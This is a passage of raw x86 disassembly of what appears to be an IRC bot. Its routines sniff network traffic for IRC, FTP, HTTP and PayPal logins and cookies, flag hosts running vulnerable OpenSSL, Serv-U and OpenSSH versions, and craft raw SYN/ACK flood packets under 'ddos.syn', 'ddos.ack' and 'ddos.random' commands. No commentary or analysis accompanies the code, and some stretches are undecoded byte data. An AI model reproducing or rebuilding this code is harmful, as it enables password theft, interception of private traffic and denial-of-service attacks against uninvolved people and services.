		dd 0ECB88900h, 8D0043DEh, 5750E445h, 0AFD015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF3815h, 858D5000h, 0FFFFFD4Ch, 4357F868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 3C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022DDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF5015h, 0FFF88300h, 15FF6475h, 4CAF38h, 4C858D50h
		dd 68FFFFFDh, 4357C8h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B03C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Dh, 434EE0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAFBCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 0BC68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 57AC68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AED415FFh, 0B70F004Ch, 75FF50C0h, 3015FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EF4C504h, 34FF0043h, 434ED085h, 4C858D00h
		dd 68FFFFFDh, 435778h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 3815FFFFh, 50004CAFh
		dd 43574C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB03C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2DDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDD10, eax
		mov	eax, offset dword_4CDD10
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAFB8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB028
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AF8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAFBC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A94
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A60
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A2C
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359F4

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359BC
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 64E80000h, 900228E3h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5B2468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAFA4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAFA4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAFA0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAFA4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2790927h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
